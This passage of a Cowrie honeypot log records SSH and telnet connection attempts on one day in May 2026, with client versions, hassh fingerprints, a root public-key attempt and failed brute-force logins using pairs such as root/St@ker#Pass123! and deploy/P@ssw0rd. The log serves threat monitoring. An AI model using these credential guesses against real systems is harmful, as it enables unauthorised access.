an-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:10.558744Z","src_ip":"57.128.223.80","session":"43e457fc9823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@2022","message":"login attempt [postgres/postgres@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:11.038841Z","src_ip":"57.128.223.80","session":"43e457fc9823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":34974,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4e9b3c02b74","protocol":"ssh","message":"New connection: 152.53.22.186:34974 (159.203.135.109:22) [session: f4e9b3c02b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:11.298749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:11.303634Z","src_ip":"152.53.22.186","session":"f4e9b3c02b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:11.384719Z","src_ip":"152.53.22.186","session":"f4e9b3c02b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"abc123","message":"login attempt [teste/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:11.743496Z","src_ip":"152.53.22.186","session":"f4e9b3c02b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:12.145634Z","src_ip":"57.128.223.80","session":"43e457fc9823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:12.827840Z","src_ip":"152.53.22.186","session":"f4e9b3c02b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0eb9800f364","protocol":"ssh","message":"New connection: 103.15.226.202:49366 (10.17.0.5:22) [session: c0eb9800f364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:45.269436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:45.284441Z","src_ip":"103.15.226.202","session":"c0eb9800f364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:45.529644Z","src_ip":"103.15.226.202","session":"c0eb9800f364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"St@ker#Pass123!","message":"login attempt [root/St@ker#Pass123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:46.512876Z","src_ip":"103.15.226.202","session":"c0eb9800f364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:47.764981Z","src_ip":"103.15.226.202","session":"c0eb9800f364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":45930,"dst_ip":"159.203.135.109","dst_port":22,"session":"13e8132c02c0","protocol":"ssh","message":"New connection: 152.53.22.186:45930 (159.203.135.109:22) [session: 13e8132c02c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:01.678825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:01.683904Z","src_ip":"152.53.22.186","session":"13e8132c02c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:01.776046Z","src_ip":"152.53.22.186","session":"13e8132c02c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"P@ssw0rd","message":"login attempt [deploy/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:02.170861Z","src_ip":"152.53.22.186","session":"13e8132c02c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:03.264348Z","src_ip":"152.53.22.186","session":"13e8132c02c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28491,"dst_ip":"159.203.135.109","dst_port":22,"session":"50ed1e80e3b2","protocol":"ssh","message":"New connection: 2.57.121.112:28491 (159.203.135.109:22) [session: 50ed1e80e3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:16.367995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:16.373792Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:16.479926Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"number7","message":"login attempt [admin/number7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:16.974605Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"number5","message":"login attempt [admin/number5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:18.083848Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nowwowtg","message":"login attempt [admin/nowwowtg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:19.192951Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"novembe","message":"login attempt [admin/novembe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:20.302261Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nottingh","message":"login attempt [admin/nottingh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:21.412027Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:22.521989Z","src_ip":"2.57.121.112","session":"50ed1e80e3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50756,"dst_ip":"159.203.135.109","dst_port":22,"session":"146640df2243","protocol":"ssh","message":"New connection: 2.57.122.208:50756 (159.203.135.109:22) [session: 146640df2243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:33.603892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:33.822292Z","src_ip":"2.57.122.208","session":"146640df2243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:33.826054Z","src_ip":"2.57.122.208","session":"146640df2243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:35.228142Z","src_ip":"2.57.122.208","session":"146640df2243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:36.547719Z","src_ip":"2.57.122.208","session":"146640df2243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":4106,"dst_ip":"10.17.0.5","dst_port":23,"session":"52975f10f88d","protocol":"telnet","message":"New connection: 212.55.149.117:4106 (10.17.0.5:23) [session: 52975f10f88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:37.083224Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":33563,"dst_ip":"10.17.0.5","dst_port":23,"session":"79301bcdd34a","protocol":"telnet","message":"New connection: 212.55.149.117:33563 (10.17.0.5:23) [session: 79301bcdd34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:42.774939Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":54110,"dst_ip":"159.203.135.109","dst_port":22,"session":"f744948f5c5a","protocol":"ssh","message":"New connection: 152.53.22.186:54110 (159.203.135.109:22) [session: f744948f5c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:53.259854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:53.264910Z","src_ip":"152.53.22.186","session":"f744948f5c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:53.354954Z","src_ip":"152.53.22.186","session":"f744948f5c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2024","message":"login attempt [user/user@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:53.747664Z","src_ip":"152.53.22.186","session":"f744948f5c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:25:54.841492Z","src_ip":"152.53.22.186","session":"f744948f5c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.53.148.190","src_port":54698,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fda97e49119","protocol":"ssh","message":"New connection: 101.53.148.190:54698 (10.17.0.5:22) [session: 0fda97e49119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:36.414477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:36.418771Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:36.640547Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:26:37.727570Z","src_ip":"101.53.148.190","session":"0fda97e49119","protocol":"ssh"}
